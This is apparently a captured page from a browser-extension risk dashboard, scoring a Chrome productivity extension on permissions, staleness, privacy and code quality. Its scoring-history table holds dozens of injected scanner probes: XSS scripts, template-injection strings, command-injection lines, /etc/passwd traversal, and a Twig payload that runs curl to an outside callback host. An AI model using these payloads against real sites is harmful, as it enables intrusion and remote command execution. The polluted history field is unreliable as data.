Netskope Extension Risk

Detail view · rubric v3.6
← Back to catalog

Q Search

jibacboccpgnplkbadlmcbdgoiljpigp
Risk Score
7.33
Risk Level: High
Recommendation: 🟠 HIGH RISK — review
Category Productivity
Installs —
Rating —
Last updated 2022-12-06 (44 months ago)
Manifest version MV3
CSP present ❌ no
Developer wenguang.fe@gmail.com
Verified publisher ✅ yes
Featured by Google ❌ no
Privacy policy link
Web Store open ↗

Top Risks

  • browsingData + scripting + <all_urls>: can read/delete all browsing data and inject code on every site.
  • Last updated Dec 2022 (~29mo stale) — unpatched, abandoned risk.
  • Privacy policy on circlereader.com does not scope to this extension and lacks retention disclosure.
  • Free-webmail developer (gmail) with no verified business identity.
  • 12 external hosts including Chinese CDN/content providers (baidu, weibo, zhihu, thepaper) without CSP.

Evidence

  • HIGH permissions: browsingData + scripting + <all_urls> manifest browsingData(HIGH) + scripting(HIGH) + <all_urls> host+content_script = severe combined capability.
  • Free-webmail developer, no business domain store developer_email=wenguang.fe@gmail.com; brand_mention.developer_domain=gmail.com; no org name.
  • No CSP, MV3 but 12 external JS hosts crx csp_present=false; js_external_hosts has 12 entries across CA/IN/SG geos including Chinese platforms.
  • Stale: 29 months since update store last_updated=2022-12-07; ~29mo no update → +8.5 maintenance score.
  • Privacy policy not scoped to extension, no retention api fetched=true, scope_extension=false, data_collection=false, retention=false → +9.0 privacy.
  • function_constructor in 4 widget JS files crx new Function() present in app.js, news.js, notice.js, setting.js — dynamic code execution risk.
  • dom_sink_innerhtml_userctrl in react.js, no CSP crx innerHTML sink + csp_present=false + function_constructor also present → elevated DOM-XSS risk.
  • verified_publisher=true but staleness cap applies store months_since_update=29 >18 → invariant 0c caps verified-publisher discount to -1.0 on reputation.

Permissions Breakdown

  • browsingData high Can delete browsing history, cookies, cache — high-impact data erasure/exfil surface.
  • tabs medium Access to tab URLs and metadata across all open tabs.
  • scripting high Execute arbitrary scripts on any page when combined with <all_urls> host permission.
  • <all_urls> (host_permissions) high Broad host access; amplifies browsingData and scripting to every site visited.
  • <all_urls> (content_scripts_matches) high Content script injected on every page — persistent DOM-level access across all sites.

Pillar Scores

Permissions8.50
Reputation7.50
Network6.00
Webstore3.50
Maintenance8.50
Privacy9.00
Code Quality5.00
CVE Exposure0.00

Scoring History

<fsssiedxa&#x27;sssiedx 7.58 High block 2026-08-10
<fsssiedxa xx psssiedx 7.28 High review 2026-08-10
<fsssiedxa&#x22;sssiedx 7.28 High review 2026-08-10
<fsssiedxa"sssiedx 7.26 High review 2026-08-10
<fsssiedxa'sssiedx 7.37 High review 2026-08-10
<fsssiedxa$"sssiedx 7.41 High review 2026-08-10
dfb{{98991*97996}}xca 7.62 High block 2026-08-07
1'"()&%<zzz><ScRiPt >4xJq(9406)</ScRiPt> 7.33 High review 2026-08-07
&n920758=v960990 7.34 High review 2026-08-07
19166597 7.28 High block 2026-08-05
1'"()&%<zzz><ScRiPt >eBvR(9704)</ScRiPt> 7.19 High review 2026-08-05
1'"()&%<zzz><ScRiPt >Sjpx(9902)</ScRiPt> 7.40 High block 2026-08-05
1'"()&%<zzz><ScRiPt >cn3v(9265)</ScRiPt> 7.28 High review 2026-08-05
1'"()&%<zzz><ScRiPt >gmPm(9813)</ScRiPt> 7.60 High block 2026-08-05
19012923 6.55 High block 2026-08-05
19958055 7.51 High block 2026-08-05
1'"()&%<zzz><ScRiPt >NN4u(9697)</ScRiPt> 7.24 High review 2026-08-05
1'"()&%<zzz><ScRiPt >3q95(9946)</ScRiPt> 7.55 High block 2026-08-05
1'"()&%<zzz><ScRiPt >F5TA(9082)</ScRiPt> 7.36 High review 2026-08-05
v3.6</script><script>Z7AT(9003)</script> 7.19 High review 2026-08-05
v3.6"onmouseover=Z7AT(90432)" 7.24 High review 2026-08-05
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%> 7.45 High review 2026-08-05
v3.6&n942413=v986668 7.27 High review 2026-08-05
1'"()&%<zzz><ScRiPt >yFYy(9547)</ScRiPt> 7.34 High block 2026-08-05
1'"()&%<zzz><ScRiPt >qHeK(9045)</ScRiPt> 7.63 High block 2026-08-05
1'"()&%<zzz><ScRiPt >JOdt(9321)</ScRiPt> 7.26 High review 2026-08-05
1'"()&%<zzz><ScRiPt >5G04(9193)</ScRiPt> 7.22 High review 2026-08-05
1'"()&%<zzz><ScRiPt >2rgc(9142)</ScRiPt> 7.17 High review 2026-08-05
1'"()&%<zzz><ScRiPt >qZ3C(9653)</ScRiPt> 7.08 High review 2026-08-05
1'"()&%<zzz><ScRiPt >JuTD(9404)</ScRiPt> 7.27 High review 2026-08-05
1'"()&%<zzz><ScRiPt >nLLc(9338)</ScRiPt> 7.44 High review 2026-08-05
1'"()&%<zzz><ScRiPt >akyI(9987)</ScRiPt> 7.48 High review 2026-08-05
1'"()&%<zzz><ScRiPt >J4ka(9453)</ScRiPt> 6.55 High block 2026-08-05
1'"()&%<zzz><ScRiPt >nHAd(9861)</ScRiPt> 7.33 High review 2026-08-05
1'"()&%<zzz><ScRiPt >IoVX(9141)</ScRiPt> 7.39 High review 2026-08-05
1'"()&%<zzz><ScRiPt >ofG5(9384)</ScRiPt> 7.12 High block 2026-08-05
1" fY4e=MsHL([!+!]) VZZ=" 6.87 High block 2026-08-05
1"system("sleep 9")" 7.29 High review 2026-08-05
1&echo eysmdk$()\ battes\nz^xyu||a #' &echo eysmdk$()\ battes\nz^xyu||a #|" &echo eysmdk$()\ battes\nz^xyu||a # 7.05 High review 2026-08-05
1'" 7.37 High review 2026-08-05
1BFROEAMBV0 7.18 High review 2026-08-05
1 7.24 High review 2026-08-05
1</script><script>rbm5(9584)</script> 7.34 High review 2026-08-05
1"onmouseover=rbm5(99112)" 7.52 High block 2026-08-05
bfgx10090%C0%BEz1%C0%BCz2a%90bcxhjl10090 7.28 High review 2026-08-05
19977920< 7.38 High review 2026-08-05
&n993740=v965630 7.24 High review 2026-08-05
/etc/passwd 7.04 High review 2026-08-04
&#x22;fsssiedxa xx psssiedx 7.15 High review 2026-07-30
&#x22;fsssiedxa&#x27;sssiedx 7.18 High review 2026-07-30
7.39 High review 2026-07-30
<fsssiedxa 7.41 High review 2026-07-30
<fsssiedxafdsaxax><!--></ScRiPt>asddsssiedx 7.25 High review 2026-07-30
<fsssiedxa$'sssiedx 7.28 High review 2026-07-30
fsssiedxa<sssiedx 7.43 High review 2026-07-30
v3.6"sTYLe='zzz:Expre/**/SSion(KQBH(9822))'bad=" 7.43 High block 2026-07-29
%F6"onmouseover=KQBH(97265)// 7.57 High block 2026-07-29
dfb[[${98991*97996}]]xca 7.38 High review 2026-07-29
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o") 7.62 High block 2026-07-29
dfb__${98991*97996}__::.x 7.62 High block 2026-07-29
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitapfschvhpm4d5f8.bxss.me")}} 7.26 High review 2026-07-29
v3.6'"()&%<zzz><ScRiPt >KQBH(9300)</ScRiPt> 7.44 High review 2026-07-29
v3.6&n980473=v901399 7.64 High block 2026-07-29
fsssiedxafdsaxax><!--></ScRiPt>asddsssiedx 6.39 High block 2026-07-28
fsssiedxa 7.28 High review 2026-07-28
sssieddrubricxsx 7.32 High block 2026-07-28
v3.6 7.33 High review 2026-06-16

Bookkeeping

Rubric v3.6
Scored at 2026-06-16 06:23
Listing SHA 2d61c04ab34c…
Force block — not fired
Score recovered no
Elapsed 29.1s